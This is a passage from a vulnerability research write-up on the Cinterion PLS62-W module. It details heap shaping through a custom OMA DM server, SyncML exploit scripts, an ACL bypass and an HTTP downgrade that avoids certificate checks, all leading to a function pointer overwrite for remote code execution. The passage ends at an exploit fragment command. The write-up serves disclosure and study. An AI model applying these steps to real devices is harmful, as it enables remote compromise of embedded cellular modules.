node (all as part of OMA DM session), use `ADD` SyncML Protocol Management and
Command Elements command for that purpose
- add special sequence of nodes to `./DMS`, the goal is to obtain the following heap
layout:
```
HEAP START
...
Java VM pool
...
dummy_chunk_seq1 (node_seq A)
chunk_size_0xb1*4 (node B) <-- the goal is to have this to be allocated for
SMS concatmem
dummy_chunk_seq2 (node_seq C)
FREE chunk_size_x54 (node D) <-- the goal is to have this to be allocated for
SyncML callbacks structure (with pointers that
correspond to the GET, ADD, ALERT, etc. cmds)
...
HEAP END
```
- start new OMA DM session (the goal is to have the SyncML callbacks structure to be alocated
in the memory occupied by node D,
- send the "exploit" (overflow) SMS fragment of which goal is to overwrite a single
(such as an ALERT callback or all pointers of the SyncML callback structure)
The key here is the following:
- significant control over heap layout (through arbitrary alloc / free operations that
correspond to the ADD / REPLACE SyncML commands)
- the possibility to fill heap with arbitrary data,
- control over when SyncML callbacks structure is allocated / freed
- control when `concatmem` for SMS fragments is allocated
#### CUSTOM OMA DEVICE MANAGEMENT (DMS) SERVER
In order to verify the exploit scenario depicted above a simple OMA DM management server
was developed. The goal was to be able to send arbitrary SyncML commands to the device for
"heap shaping".
The code for DMS server is available in `dmsserver` directory. It implements some scripting
commands that facilitate building and testing of SyncML messages sent to a target device too.
Scripting SyncML operations helped in figuring out the order and structure of the commands
that could result in a "predictable" and desired heap layout on a target device.
##### SCRIPTING COMMANDS
The following scripting commands have been implememnted by DMS server code that lead to the
specific SyncML command output:
- get value for a node identified by given uri
```
get uri
```
- get ACL property for a node identified by given uri
```
getacl uri
```
- set ACL property for a node identified by given uri
```
setacl uri acl
```
- add new node to OMA DM tree, the node is identified by a given uri, the data is specified
by format and type
```
add uri format type data
```
- replace data for a node identified by given uri
```
replace uri data
```
- issue a sequence of ADD operations under `./DMS/` branch, the id identifies the prefix for
generated nodes, the cnt specifies their initial number and the mod value makes it possible
to issue commands for nodes that match the mod specifier (for nodes matching modulo node id
condition only)
```
addseq id cnt data mod
```
- a command similar to the `addseq` command, the command makes it possible to issue a sequence
of ADD command pairs (2 ADD commands at once with data specified for each of them)
```
add2seq id cnt data1 data2 mod
```
- an extension of `addseq` command where each ADD command is followed by the SyncML command
for ACL property initialization (ACL is NULL by default for new nodes)
```
addwaclseq id cnt data mod
```
- issue a sequence of REPLACE operations under `./DMS/` branch, the id identifies the prefix for
generated nodes, the cnt specifies their initial number and the mod value makes it possible
to issue commands for nodes that match the mod specifier (for nodes matching modulo node id
condition only)
```
replseq id cnt data mod
```
- issue ALERT command with given data
```
alert data
```
Additionally, several commands have been also implemented that facilitate the handling of DMS
sessions and inclusion of arbitrary data in WBXML:
- put given data in WBXML message depicting SyncML commands
```
rawdata data
```
- display given prompt chars and wait for user key press
```
wait prompt
```
- signal to the server that is should end a session with the client (mark the end of commands
for the current session)
```
endsession
```
- do not process any other commands present in a script file
```
stop
```
Further implementation details of scripting commands can be found in a code of `ScriptCmd` class
(`dmsserver/src/ScriptCmd.java` file).
##### DATA FORMATTERS
In order to be able to configure data provided to various scripting commands in a flexible way
(their args denoted as `data`, `data1` or `data2`), several data formatters (handlers) have been
implemented by the DMS server. They are summarized below:
- indicate a fixed, target size of the output data
```
size data_size
```
- fill the content of the output data with a given character
```
fill character
```
- append a given sequence of hex values to the output data
```
hex hex_data
```
- append a given string to the output data
```
str string
```
- append node uri to the output data
```
uri
```
- append the content of file to the output data
```
file file
```
Actual implementation details of data formatteres can be found in a code of `Data` class
(`dmsserver/src/Data.java` file).
##### DMS SCRIPTING SAMPLE
DMS server loads and processes script file provided as an argument during its launch. It resolves
the scripting commands included in a script file as a sequence of DMS sessions embedying SyncML
commands.
For instance, processing of the following script commands:
```
#session 1
get ./DevInfo/Man
get ./DevInfo/Mod
get ./DevDetail/SwV
setacl ./DMS Get=*&Replace=*&Add=*
endsession
#STAGE 1 - SETUP HEAP
addseq ./DMS/24 4 size:0x270,fill:.,hex:01bbaa86,uri 1
endsession
```
will lead to DMS server splitting them into two separate management sessions:
```
[SESSION 1]
Get ./DevInfo/Man
Get ./DevInfo/Mod
Get ./DevDetail/SwV
Replace ./DMS?prop=ACL Get=*&Replace=*&Add=*
[SESSION 2]
Sequence
Add ./DMS/24000 chr text/plain size:0x270,fill:.,hex:01bbaa86,uri
Add ./DMS/24001 chr text/plain size:0x270,fill:.,hex:01bbaa86,uri
Add ./DMS/24002 chr text/plain size:0x270,fill:.,hex:01bbaa86,uri
Add ./DMS/24003 chr text/plain size:0x270,fill:.,hex:01bbaa86,uri
```
The `addseq` scripting command will be expanded into four SyncML ADD commands with properly
adjusted uri values (denoting consecutive nodes).
The data formatter for `./DMS/24000` node will be expanded to the following value:
```
Add ./DMS/24000 chr text/plain size:0x270,fill:.,hex:01bbaa86,uri
data
0000: 01 bb aa 86 2e 2f 44 4d 53 2f 32 34 30 30 30 2e ...../DMS/24000.
0010: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................
0020: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................
0030: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................
0040: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................
0050: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................
...
0260: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................
```
The `hex` formatter used in the beginning of a node data is in particular useful. It can help
in a discovery and investigation of heap chunks allocated on a device through DMS session.
The `heapstate` shell command can be used for that purpose (to pattern match on the first four
bytes of heap chunks' content):
```
telcin> telcin> heapstate -p 0x81df46d8 -m 0x86aabb01/0xffffffff
[HEAP STATE]
code: 0x83c53e70
buf: 0x83c9a080
size: 0x00000504 (107)
[0000] 0x81f48580 size 0x00018fff busy
[0001] 0x83c28ea0 size 0x00000252 busy
[0002] 0x83c29298 size 0x00000251 busy
[0003] 0x83c29508 size 0x00000252 busy
[0004] 0x83c30850 size 0x00000a22 busy
[0005] 0x83c31290 size 0x00000a21 busy
[0006] 0x83c31cd0 size 0x00000a22 busy
[0007] 0x83c32710 size 0x00000a21 busy
[0008] 0x83c33150 size 0x00000a22 busy
[0009] 0x83c33b90 size 0x00000a21 busy
[000a] 0x83c345d0 size 0x00000a22 busy
[000b] 0x83c35010 size 0x00000a21 busy
[000c] 0x83c35a50 size 0x00000a22 busy
[000d] 0x83c36668 size 0x00000921 busy
[000e] 0x83c36fa8 size 0x00000922 busy
[000f] 0x83c378e8 size 0x00000921 busy
[0010] 0x83c38228 size 0x00000922 busy
[0011] 0x83c38f08 size 0x00000821 busy
[0012] 0x83c39748 size 0x00000822 busy
[0013] 0x83c3a4a8 size 0x00000251 busy
[0014] 0x83c3b350 size 0x00000921 busy
[0015] 0x83c3bc90 size 0x00000922 busy
[0016] 0x83c3c5d0 size 0x00000921 busy
[0017] 0x83c3cf10 size 0x00000922 busy
[0018] 0x83c3d850 size 0x00000921 busy
[0019] 0x83c3e190 size 0x00000922 busy
...
```
#### EXPLOIT POC
This paragraph describes a successful code setup leading to a remote code execution on
a target DGL61-W device through the combination of the issues identified in its software,
##### ENVIRONMENT SETUP
Initially, an attempt was made to build a Proof of Concept code for Issue 18 with the
use of local means (local socket proxy server). The goal was to proceed with the testing
/ exploit construction in a local dev environment, not the environment of a mobile
network operator. Unfortunately, this was not successful.
The reason was that device didn't seem to be binding / exposing any network comm on
localhost (`127.0.0.1`) or even address acquired from the network (this could be related
to the mobile protocol / PDP though).
As a result, the POC assumes that communication with attacker's DMS server (the assumption
that Issues 12, 14 and 15 are exploited).
To mimic this exploitation prerequisite, OMA DM server config has been changed with the
help of `omadmcfg` command.
The `http://83.8.xxx.yyy:443` configuration url was used to denote Cingular server location.
The host at public url location forwarded traffic from port 443 to local port 8080 where DMS
server has been set up.
The `http` in the url is required, because for `https` the server certificate is checked and
the connection is dropped. This is illustrated by the log obtained at the time of setting up
OMA DM connection from a device to `https://agsecurityresearch.com`:
```
SSL Debug, securesocket, ctx_reuse = 1
SSL Debug, securesocket, i = 6
securesocket_connect, sid = 6
SSL Debug : state = 0x5000
SSL Debug : state = 0x1110
SSL Debug : state = 0x1120
securesocket_connect, sid = 6
SSL Debug : state = 0x1120
SCC: T:27 jBlocked OFF
SCC: T:27 M: OFFLINE-CMD,
SCC: T:27 L:6 R: OK
Command:-[C-AT] Mode: 2, CNMIoveride?=0, msghandler?=0, msg?=
securesocket_connect, sid = 6
SSL Debug : state = 0x1120
Cipher selected for communication ============ AES128-GCM-SHA256
SSL Debug, ssl3_get_server_hello, alg2 = 0x8080
SSL Debug s->hit = 0
SSL Debug : state = 0x1130
SSL Debug algorithm auth = 1, algorithm key = 1
SSL Debug ssl3_get_server_certificate: n = 4223, mtype = 11
TLS: Server Certs Name of Certifcate: /CN=firebaseapp.com
TLS: Server Subject of certifcate
TLS: firebaseapp.com
TLS: Server Issuer of certifcate
TLS: GTS CA 1D4
TLS: Google Trust Services LLC
TLS: US
TLS: Server Certs Name of Certifcate: /C=US/O=Google Trust Services LLC/CN=GTS
CA 1D4
TLS: Server Subject of certifcate
TLS: GTS CA 1D4
TLS: Google Trust Services LLC
TLS: US
TLS: Server Issuer of certifcate
TLS: GTS Root R1
TLS: Google Trust Services LLC
TLS: US
TLS: Server Certs Name of Certifcate: /C=US/O=Google Trust Services LLC/CN=GTS
Root R1
TLS: Server Subject of certifcate
TLS: GTS Root R1
TLS: Google Trust Services LLC
TLS: US
TLS: Server Issuer of certifcate
TLS: GlobalSign Root CA
TLS: Root CA
TLS: GlobalSign nv-sa
TLS: BE
SSL Debug : s->verify_mode = 1
SSL Debug, IFX_TLS_X509_verify_cert, ok = 0
SSL Debug, IFX_TLS_X509_verify_cert, ok = 0
SSL Debug, IFX_TLS_X509_verify_cert, ok = 0
SSL Debug, In pkey_set_type, type = 6
ssl_verify_alarm_type: TLS failure. Err 20. al = 48
ERR_put_error: TLS failure: lib 20, func 144, reason 134
ssl3_get_server_certificate: TLS failure. Err 20. al = 48
```
The received alert code 48 denotes "unknown CA". But, this can be easily bypassed
with the use of `http` protocol. Taking into account the fact that server certificate
is checked for default OMA DM connection + the nature of the OMA DM session (which
can expose secrets, etc.), the ability to use `http` for OMA DM should be potentially
treated as another issue.
As for the test DMS server, it supports some scripting language described previously,
which can be used to configure the content of SyncML messages sent to the device.
The OMA DM tree (`dmtree\dmtree.txt` file) indicates no ACL permission to add new nodes
to the tree (missing Add permission):
```
* ./DMS
addr: 0x81f79f50
type: 1
acl: Get=*&Replace=*
uri: ./DMS
value: AppAuth/AddrType/Cingular/CingularNetwPin/CingularThird
```
This can be easily bypassed by issuing proper SyncML message of which goal is to
set ACL of `./DMS` node:
```
setacl ./DMS Get=*&Replace=*&Add=*
```
The `./DMS` node is used as a target due to the following:
- it has non-empty `setFunc` handler
```
telcin> dmtree
[DMTREE]
- addr 0x81ede8f8
- mo_mgr 0x81f728d0
- serverid null
[MOMGR]
- addr 0x81f728d0
- root 0x81edd7f0
- max_depth 0x0000
- max_tot_len 0x0000
- last_uri null
- last_plugin 0x00000000
* NODE . addr 0x81edd7f0 plugin 0x81edd820
* NODE DMS addr 0x81f7a630 plugin 0x81f7a680
* NODE DevInfo addr 0x81f77330 plugin 0x81f77360
* NODE DevDetail addr 0x81f76600 plugin 0x81f74040
telcin> dmplugin 0x81f7a680
[PLUGIN]
- addr 0x81f7a680
- iface 0x81f7a5c8
- data 0x81f79f50
- container 0x81f7a630
[INTERFACE]
- addr 0x81f7a5c8
- base_uri ./DMS
- initFunc 0x86bd1f44
- closeFunc 0x86bde2ec
- isNodeFunc 0x86bd1f40
- findURNFunc 0x86bd1ee0
- getFunc 0x86bd1c94
- setFunc 0x86bd1c84 <---- NON EMPTY
- getACLFunc 0x86bd1c80
- setACLFunc 0x86bd1be8
- renameFunc 0x00000000
- deleteFunc 0x00000000
- execFunc 0x00000000
```
- its node data correspond directly to memoty allocations (data is not written to
flash).
The ACL issue is itself quite interesting. So, there are nodes, which have ACL set
to certain values and some of these indicate no ability to add or replace nodes
(see `data/dmtree.txt` file). But, a single Replace ACL is sufficient to change ACLs
all along the DMS root tree chierarchy. In other words, ACL permissions do not matter
as long as the DMS tree is not made read only (!). As such, this manifests some
inconsistency in the way ACLs work and potentially constitutes a security issue too.
##### PHASE 1 - PREPARING HEAP LAYOUT
The DMS server was started and the following script file was used by it (`dmsserver/exp1.dms`):
```
#session 1
get ./DevInfo/Man
get ./DevInfo/Mod
get ./DevDetail/SwV
setacl ./DMS Get=*&Replace=*&Add=*
endsession
#STAGE 1 - SETUP HEAP
addseq ./DMS/24 4 size:0x270,fill:.,hex:01bbaa86,uri 1
endsession
#remove large free blocks
addseq ./DMS/82 10 size:0x820,fill:.,hex:01bbaa86,uri 1
endsession
#remove large free blocks
addseq ./DMS/92 10 size:0x920,fill:.,hex:01bbaa86,uri 1
endsession
#remove large free blocks
addseq ./DMS/a2 10 size:0xa20,fill:.,hex:01bbaa86,uri 1
endsession
#remove large free blocks
addseq ./DMS/b2 10 size:0xb20,fill:.,hex:01bbaa86,uri 1
endsession
#remove large free blocks
addseq ./DMS/f2 10 size:0xf20,fill:.,hex:01bbaa86,uri 1
endsession
#release 240 blocks
replseq ./DMS/24 4 size:0x250,fill:.,hex:01bbaa86,uri 1
endsession
#STAGE 2 - MAKE SPACE (size 0x2c4 = 4*0xb1)
#split main block
replace ./DMS/f2005 size:0xdac,fill:.,hex:01bbaa86,uri
add ./DMS/space1 chr text/plain size:0x2c3,fill:.,hex:01bbaa86,uri
endsession
#STAGE 3 - MAKE SPACE (size 0x54)
#split main block
replace ./DMS/f2006 size:0xeed,fill:.,hex:01bbaa86,uri
endsession
stop
```
The content of the above script file was discovered while playing with different SyncML
messages, their sequence, etc.
At the device end, the following command have been executed (`scripts\exp1.scr` file):
```
recvdmmsg -n Cingular
sleep 5000
recvdmmsg -n Cingular
sleep 5000
recvdmmsg -n Cingular
sleep 5000
recvdmmsg -n Cingular
sleep 5000
recvdmmsg -n Cingular
sleep 5000
recvdmmsg -n Cingular
sleep 5000
recvdmmsg -n Cingular
sleep 5000
recvdmmsg -n Cingular
sleep 5000
recvdmmsg -n Cingular
sleep 5000
recvfrag -f 1/4 -i 1 -s fragment1
sleep 1000
recvfrag -f 2/4 -i 1 -s fragment2
memory device
smsfrags
recvdmmsg -n Cingular
sleep 5000
smsfrags
```
The script simulate reception of arbitrary OMA DM Proviioning (`recvdmmgs`) and SMS
fragments (`recvfrag`).
As a result of the scripts execution, there are 10 sessins in total handled by DMS server.
The last `smsfrags` command executed on a device shows details regarding memory region
that got allocated for SMS fragments data:
```
telcin> smsfrags
[SMS FRAGMENTS]
addr: 0x817030bc
fragnum: 02
refid: 01
totalfrags: 04
concatmem: 0x83cd3318 size 0x000002c4 [4 fragments ]
```
Inspecting the heap chunks chain from the `concatmem`, one can see that it is
composed of the `/DMS/f2006` node data:
```
telcin> ptrinfo 0x83cd3318
[0x83cd3318]
start: 0x83cd3300
size: 0x000002f0
alloc_size: 0x000002c4
left: 0x00000014
prev: 0x83cd2538 [0x83cd2550]
next: 0x83cd35f0 [0x83cd3608]
status: busy
telcin> dmem 0x83cd3608 0x10
83cd3608: 01 bb aa 86 2e 2f 44 4d 53 2f 66 32 30 30 36 2e ...../DMS/f2006.
telcin> ptrinfo 0x83cd3608
[0x83cd3608]
start: 0x83cd35f0
size: 0x00000f08
alloc_size: 0x00000eee
left: 0x00000002
prev: 0x83cd3300 [0x83cd3318]
next: 0x83cd44f8 [0x83cd4510]
status: busy
telcin> dmem 0x83cd4510 0x10
83cd4510: 01 bb aa 86 2e 2f 44 4d 53 2f 66 32 30 30 36 2e ...../DMS/f2006.
telcin> ptrinfo 0x83cd4510
[0x83cd4510]
start: 0x83cd44f8
size: 0x00000f08
alloc_size: 0x00000eef
left: 0x00000001
prev: 0x83cd35f0 [0x83cd3608]
next: 0x83cd5400 [0x83cd5418]
status: busy
```
And, there is a free chunk immediately following it:
```
telcin> ptrinfo 0x83cd5418
[0x83cd5418]
start: 0x83cd5400
size: 0x00000070
alloc_size: 0x00000000
left: 0x00000058
prev: 0x83cd44f8 [0x83cd4510]
next: 0x83cd5470 [0x83cd5488]
status: free
```
The free chunk is able to accomodate 0x58 bytes of data. This is intentional
as the `dmstruc` data (containig callback pointer for SyncML commands) is of
0x54 bytes size:
```
ROM:86BE07EC agsr_alloc_omadm_struct ; CODE XREF: agsr_omadmclient_session_init+50^p
ROM:86BE07EC ; ROM:86BC38BC^p
ROM:86BE07EC MOV R0, #0x54 ; 'T'
ROM:86BE07F0 PUSH {R4,LR}
ROM:86BE07F4 BL agsr_OmadmMalloc_0
ROM:86BE07F8 MOVS R4, R0
ROM:86BE07FC BEQ loc_86BE087C
ROM:86BE0800 MOV R1, #0x54 ; 'T'
ROM:86BE0804 BL agsr_memset_with_zero
ROM:86BE0808 LDR R0, =agsr_omadm_prv_start_message_cb
ROM:86BE080C LDR R1, =sub_86BE0044 ; -> alert message ??
ROM:86BE0810 STR R0, [R4]
ROM:86BE0814 LDR R0, =agsr_omadm_prv_end_message_cb
ROM:86BE0818 STR R0, [R4,#4]
ROM:86BE081C LDR R0, =agsr_omadm_prv_start_atomic_cb
ROM:86BE0820 STR R0, [R4,#0x10]
ROM:86BE0824 LDR R0, =agsr_omadm_prv_end_atomic_cb
ROM:86BE0828 STR R0, [R4,#0x14]
ROM:86BE082C LDR R0, =agsr_omadm_prv_start_sequence_cb
ROM:86BE0830 STR R0, [R4,#0x18]
ROM:86BE0834 LDR R0, =agsr_omadm_prv_end_sequence_cb
ROM:86BE0838 STR R0, [R4,#0x1C]
ROM:86BE083C LDR R0, =agsr_omadm_prov_do_generic_cmd_cb
ROM:86BE0840 STRD R0, R1, [R4,#0x20]
ROM:86BE0844 LDR R1, =agsr_omadm_prv_exec_cmd_cb
ROM:86BE0848 STR R1, [R4,#0x40]
ROM:86BE084C LDR R1, =agsr_omadm_prv_get_cmd_cb
```
##### PHASE 2 - FILLING THE OMADMSTRUC HOLE
The DMS server was started again, this time with the use of the following script file
(`dmsserver/exp2.dms`):
```
#send payload
wait press key to send payload
alert alertdata
rawdata file:codeexec.dat
endsession
stop
```
In the next step, another DMS server session was triggered by simulating the reception
of OMA DM Provisionin message:
```
telcin> run exp2.scr
telcin> telcin> recvdmmsg -n Cingular
SMS
- FirstOctet
00000000: 74 t
- Addr: +48xxxxxxxx
00000000: 0b 91 84 xx xx xx xx xx ........
- PID
00000000: 00 .
- DCS
00000000: 14 .
- TimeStamp
00000000: 17 03 06 13 32 1b 04 ....2..
- UserData
* hdr len 06
00000000: 05 04 11 22 33 44 ..."3D
* ud len (with hdr) 2d
00000000: 01 06 03 c4 af 87 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 02 d8 00 00 00 12 34 08 43 69 ............4.Ci
00000020: 6e 67 75 6c 61 72 ngular
- DM Push
* transaction_id 01
* PDU type 06
* headers
c4
af
87
- DM Data
* digest
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
* version 0b
* UImode 01
* initiator 01
* future_use 00
* server_id Cingular
OS MSG
00000000: 48 07 91 84 05 21 00 77 f7 74 0b 91 84 xx xx xx H....!.w.t......
00000010: xx xx 00 14 17 03 06 13 32 1b 04 2d 06 05 04 11 ........2..-....
00000020: 22 33 44 01 06 03 c4 af 87 00 00 00 00 00 00 00 "3D.............
00000030: 00 00 00 00 00 00 00 00 00 02 d8 00 00 00 12 34 ...............4
00000040: 08 43 69 6e 67 75 6c 61 72 .Cingular
SMS_RECV_FUN: send DR_SM_UPDATE_REQ to atc:1 task
res: 0x00000000
```
DMS Server console shows successfully established OMA DM connection with a client device:
```
## Local HTTP Server #
## (c) SECURITY EXPLORATIONS 2018 Poland #
## http://www.security-explorations.com #
## (c) AG Security Research 2019-2022 Poland #
## http://www.agsecurityresearch.com #
## #
[SESSION 1]
Wait press key to send payload
Alert alertdata
Rawdata file:codeexec.dat
HTTP server [class HTTPServer$SEServer] listening on: 192.168.1.100:8080
[/37.47.129.209] POST /
Accept:[*/*]
Host:[83.8.27.183:443]
User-agent:[IMC_OMADM_LIBDM]
Content-type:[application/vnd.syncml.dm+wbxml]
Content-length:[504]
############################################################
## SESSION 0/1
############################################################
- MSG FROM CLIENT
data
0000: 02 a4 01 6a 00 6d 6c 71 03 31 2e 32 00 01 72 03 ...j.mlq.1.2..r.
0010: 44 4d 2f 31 2e 32 00 01 65 03 33 34 31 32 00 01 DM/1.2..e.3412..
0020: 5b 03 31 00 01 6e 57 03 68 74 74 70 3a 2f 2f 38 [.1..nW.http://8
0030: 33 2e 38 2e 32 37 2e 31 38 33 3a 34 34 33 00 01 3.8.27.183:443..
0040: 01 67 57 03 49 4d 45 49 3a 33 35 31 32 34 39 39 .gW.IMEI:3512499
0050: 35 34 38 39 36 30 38 38 00 01 01 4e 5a 00 01 47 54896088...NZ..G
0060: 03 62 36 34 00 01 53 03 73 79 6e 63 6d 6c 3a 61 .b64..S.syncml:a
0070: 75 74 68 2d 6d 64 35 00 01 01 00 00 4f 03 31 47 uth-md5.....O.1G
0080: 47 73 71 70 74 71 43 37 56 4a 64 6f 42 38 70 41 GsqptqC7VJdoB8pA
0090: 6e 4d 67 51 3d 3d 00 01 01 5a 00 01 4c 03 31 36 nMgQ==...Z..L.16
00a0: 33 38 34 00 01 01 01 00 00 6b 46 4b 03 31 00 01 384......kFK.1..
00b0: 4f 03 31 32 30 30 00 01 01 60 4b 03 32 00 01 54 O.1200....K.2..T
00c0: 67 57 03 2e 2f 44 65 76 49 6e 66 6f 2f 44 6d 56 gW../DevInfo/DmV
00d0: 00 01 01 5a 00 01 47 03 63 68 72 00 01 53 03 74 ...Z..G.chr..S.t
00e0: 65 78 74 2f 70 6c 61 69 6e 00 01 01 00 00 4f 03 ext/plain.....O.
00f0: 31 2e 32 00 01 01 54 67 57 03 2e 2f 44 65 76 49 1.2...TgW../DevI
0100: 6e 66 6f 2f 4c 61 6e 67 00 01 01 5a 00 01 47 03 nfo/Lang...Z..G.
0110: 63 68 72 00 01 53 03 74 65 78 74 2f 70 6c 61 69 chr..S.text/plai
0120: 6e 00 01 01 00 00 4f 03 45 6e 67 6c 69 73 68 00 n.....O.English.
0130: 01 01 54 67 57 03 2e 2f 44 65 76 49 6e 66 6f 2f ..TgW../DevInfo/
0140: 44 65 76 49 64 00 01 01 5a 00 01 47 03 63 68 72 DevId...Z..G.chr
0150: 00 01 53 03 74 65 78 74 2f 70 6c 61 69 6e 00 01 ..S.text/plain..
0160: 01 00 00 4f 03 49 4d 45 49 3a 33 35 31 32 34 39 ...O.IMEI:351249
0170: 39 35 34 38 39 36 30 38 38 00 01 01 54 67 57 03 954896088...TgW.
0180: 2e 2f 44 65 76 49 6e 66 6f 2f 4d 61 6e 00 01 01 ./DevInfo/Man...
0190: 5a 00 01 47 03 63 68 72 00 01 53 03 74 65 78 74 Z..G.chr..S.text
01a0: 2f 70 6c 61 69 6e 00 01 01 00 00 4f 03 43 69 6e /plain.....O.Cin
01b0: 74 65 72 69 6f 6e 00 01 01 54 67 57 03 2e 2f 44 terion...TgW../D
01c0: 65 76 49 6e 66 6f 2f 4d 6f 64 00 01 01 5a 00 01 evInfo/Mod...Z..
01d0: 47 03 63 68 72 00 01 53 03 74 65 78 74 2f 70 6c G.chr..S.text/pl
01e0: 61 69 6e 00 01 01 00 00 4f 03 50 4c 53 36 32 2d ain.....O.PLS62-
01f0: 57 00 01 01 01 12 01 01 W.......
[SyncML]
* wbxml_ver: 02
* publicid: 00001201 [-//SYNCML//DTD SyncML 1.2//EN]
* charset: 6a
strtable [0 bytes]
1.2DM/1.234121http://83.8.27.183:443b64syncml:auth-md5
1GGsqptqC7VJdoB8pAnMgQ==
163841
1200
2chrtext/plain
1.2
chrtext/plain
English
chrtext/plain
IMEI:351249954896088
chrtext/plain
Cinterion
chrtext/plain
PLS62-W
```
What's important is that this time the server waits for user input (key press before the server
sends the request to the device as depicted by the wait command)
Inspection of the previously free heap chunk indicates that it got allocated for the omadm struc
callbacks structure:
```
telcin> ptrinfo 0x83cd5418
[0x83cd5418]
start: 0x83cd5400
size: 0x00000070
alloc_size: 0x00000054
left: 0x00000004
prev: 0x83cd44f8 [0x83cd4510]
next: 0x83cd5470 [0x83cd5488]
status: busy
telcin> dmstruc
OMADM tree: 0x81ede8d8
struc addr: 0x83c6bf10
ptr table: 0x83cd5418
telcin> dmem 0x83cd5418 0x54
83cd5418: c0 fd bd 86 a4 ff bd 86 00 00 00 00 00 00 00 00 ................
83cd5428: ac ff bd 86 ec ff bd 86 f4 ff bd 86 10 00 be 86 ................
83cd5438: fc fb bd 86 44 00 be 86 fc fb bd 86 b0 01 be 86 ....D...........
83cd5448: 00 00 00 00 38 05 be 86 fc fb bd 86 fc fb bd 86 ....8...........
83cd5458: 58 04 be 86 00 00 00 00 dc 07 be 86 e4 07 be 86 X...............
83cd5468: 00 00 00 00 ....
```
The contente of the memory can be inspected, it indicates the desired layout for Issue 18
exploitation (concatmem followed by `/DMS/f2006` node data and omadm callbacks structure):
```
telcin> dmem 0x83cd3318 0x2800
83cd3318: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ CONCATMEM (MAX 4 parts)
83cd3328: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83cd3338: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
...
83cd33b8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83cd33c8: 00 2a 07 91 84 05 21 00 77 f7 70 0b 91 84 xx xx .*....!.w.p..... SMS FRAGMENT2 BODY
83cd33d8: xx xx xx 00 14 17 03 06 13 31 21 04 0f 05 00 03 .........1!.....
83cd33e8: 01 04 02 66 72 61 67 6d 65 6e 74 32 00 00 00 00 ...fragment2....
83cd33f8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83cd35c8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83cd35d8: 00 00 00 00 44 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ....D...........
83cd35e8: 00 00 44 00 00 00 00 00 44 33 22 11 f1 02 00 00 ..D.....D3"..... NODE /DMS/2006
83cd35f8: a2 73 ea 55 09 0f 00 00 ee 0e 00 00 01 00 40 00 .s.U..........@.
83cd3608: 01 bb aa 86 2e 2f 44 4d 53 2f 66 32 30 30 36 2e ...../DMS/f2006.
83cd3618: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................
83cd3628: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................
...
83cd44c8: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................
83cd44d8: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................
83cd44e8: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 00 44 2e ..............D.
83cd44f8: 44 33 22 11 09 0f 00 00 a3 73 ea 55 09 0f 00 00 D3"......s.U.... NODE /DMS/2006 (MIRROR)
83cd4508: ef 0e 00 00 01 00 40 00 01 bb aa 86 2e 2f 44 4d ......@....../DM
83cd4518: 53 2f 66 32 30 30 36 2e 2e 2e 2e 2e 2e 2e 2e 2e S/f2006.........
83cd4528: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................
...
83cd53c8: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................
83cd53d8: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................
83cd53e8: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................
83cd53f8: 2e 2e 2e 2e 2e 00 00 44 44 33 22 11 09 0f 00 00 .......DD3"..... OMADM CALLBACK STRUCT
83cd5408: 70 56 aa 55 71 00 00 00 54 00 00 00 01 00 00 00 pV.Uq...T.......
83cd5418: c0 fd bd 86 a4 ff bd 86 00 00 00 00 00 00 00 00 ................
83cd5428: ac ff bd 86 ec ff bd 86 f4 ff bd 86 10 00 be 86 ................
83cd5438: fc fb bd 86 44 00 be 86 fc fb bd 86 b0 01 be 86 ....D...........
83cd5448: 00 00 00 00 38 05 be 86 fc fb bd 86 fc fb bd 86 ....8...........
83cd5458: 58 04 be 86 00 00 00 00 dc 07 be 86 e4 07 be 86 X...............
83cd5468: 00 00 00 00 44 c0 c6 83 44 33 22 11 71 00 00 00 ....D...D3".q... NODE /DMS/2007
83cd5478: 0d 74 ea 55 41 0f 00 00 21 0f 00 00 01 00 40 00 .t.UA...!.....@.
83cd5488: 01 bb aa 86 2e 2f 44 4d 53 2f 66 32 30 30 37 2e ...../DMS/f2007.
83cd5498: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................
83cd54a8: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................
```
The above layout was *planned*. It is the result of the commands received from a
remote server. The goal of the layout is to make SMS handling issue able to overwrite
omadmstruc pointers.
##### PHASE 3 - OVERWRITE OF A FUNCTION POINTER
In the next phase (while OMA DM server is pending with the response), an exploit
frag is generated and its reception simulated:
```
telcin> run exp3.scr
telcin> telcin> genexpfrag 0x86048099
EXPLOIT_FRAG
